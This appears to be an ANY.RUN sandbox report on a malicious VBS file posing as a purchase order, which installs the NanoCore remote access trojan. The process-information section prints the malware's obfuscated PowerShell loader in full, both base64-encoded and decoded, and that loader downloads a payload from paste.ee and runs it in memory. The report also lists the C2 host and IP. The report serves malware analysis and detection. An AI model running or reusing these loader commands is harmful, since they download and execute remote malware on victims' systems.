File name:

PO-498475-ORDER.vbs

Full analysis: https://app.any.run/tasks/7e9cd6c5-032c-4c59-800c-6f02bf5f9a59
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Malware Trends Tracker     >>>
Analysis date: November 30, 2020, 01:02:06
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
nanocore
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

2BE0C13D5314EDAEF436B9A570E4C883

SHA1:

75B2AEB08A8582D671E1D8F5B7A214BE83667694

SHA256:

936B4F3700A18C11E50D94E1E22D0681E7C42EAF25DFF2B45D3E434B829B030E

SSDEEP:

96:eKKzp3pyDU16oDo1xYvXKUUMaaRZ1IKGJQ/P+I3+:ep3pMdUoKEKpP+I3+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • RegAsm.exe (PID: 3052)

    • NANOCORE was detected

      • RegAsm.exe (PID: 3052)

    • Application was dropped or rewritten from another process

      • RegAsm.exe (PID: 3052)

    • Connects to CnC server

      • RegAsm.exe (PID: 3052)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • RegAsm.exe (PID: 3052)

    • Creates files in the user directory

      • powershell.exe (PID: 3216)
      • powershell.exe (PID: 2296)
      • RegAsm.exe (PID: 3052)

    • Application launched itself

      • powershell.exe (PID: 2296)

    • Executes PowerShell scripts

      • WScript.exe (PID: 2796)
      • powershell.exe (PID: 2296)

    • Drops a file that was compiled in debug mode

      • RegAsm.exe (PID: 3052)

  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 3216)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs powershell.exe #NANOCORE regasm.exe

Process information

PID
CMD
Path
Indicators
Parent process
2296"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$Codigo = 'JGRsbCA9ICcwL0FrTkQ0L3IvZWUuZXRzYXAvLzpzcHR0aCc7JFJ1bXBlRCA9IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCAkZGxsWy0xLi4tJGRsbC5MZW5ndGhdIC1qb2luICcnICk7W0J5dGVbXV0gJFJ1bXBlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJFJ1bXBlRFstMS4uLSRSdW1wZUQuTGVuZ3RoXSAtam9pbiAnJyApO1tSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkUnVtcGUpLkdldFR5cGUoJ2VudC5DbGFzczEnKS5HZXRNZXRob2QoJ1J1bicpLkludm9rZSgkbnVsbCwgW29iamVjdFtdXSAoJzAvZ3lyUFQvci9lZS5ldHNhcC8vOnNwdHRoJykp';$OWjuxD = [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String($Codigo) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command $OWjuxD"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2796"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\PO-498475-ORDER.vbs"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3052"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Exit code:
0
Version:
4.7.3062.0 built by: NET472REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
3216"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$dll = '0/AkND4/r/ee.etsap//:sptth';$RumpeD = (New-Object Net.WebClient).DownloadString( $dll[-1..-$dll.Length] -join '' );[Byte[]] $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '' );[Reflection.Assembly]::Load($Rumpe).GetType('ent.Class1').GetMethod('Run').Invoke($null, [object[]] ('0/gyrPT/r/ee.etsap//:sptth'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
653
Read events
516
Write events
137
Delete events
0

Modification events

(PID) Process:(2296) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2796) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2796) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3216) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3216) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(3216) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(3216) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(3216) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(3216) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(3216) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
1
Suspicious files
6
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
2296powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KAUOQ3VW9R6GYV8XTW4B.temp —
MD5:—
SHA256:—
3216powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DZZAK6N9WA8NZ5087JPL.temp —
MD5:—
SHA256:—
2296powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF18d26e.TMPbinary
MD5:—
SHA256:—
3216powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF18d452.TMPbinary
MD5:—
SHA256:—
3216powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\run.dattext
MD5:—
SHA256:—
2296powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\catalog.datbs
MD5:32D0AAE13696FF7F8AF33B2D22451028
SHA256:5347661365E7AD2C1ACC27AB0D150FFA097D9246BB3626FCA06989E976E8DD29
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\TCP Monitor\tcpmon.exeexecutable
MD5:B58B926C3574D28D5B7FDD2CA3EC30D5
SHA256:6E70B56D748C4CCAB13CC8A055D3795EA0DD95FE3B70568D7D3AC0C6621140A3
3052RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\storage.datbinary
MD5:7E8F4A764B981D5B82D1CC49D341E9C6
SHA256:0BD3AAC12623520C4E2031C8B96B4A154702F36F97F643158E91E987D317B480
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
3
Threats
117

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3216
powershell.exe
172.67.219.133:443
paste.ee
—
US
malicious
3052
RegAsm.exe
8.8.8.8:53
—
Google Inc.
US
malicious
3052
RegAsm.exe
79.134.225.11:5000
emisintl.com
Andreas Fink trading as Fink Telecom Services
CH
malicious

DNS requests

Domain
IP
Reputation
paste.ee
  • 172.67.219.133
  • 104.18.49.20
  • 104.18.48.20
malicious
emisintl.com
  • 79.134.225.11
malicious

Threats

PID
Process
Class
Message
3052
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3052
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
107 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
PO-498475-ORDER.vbs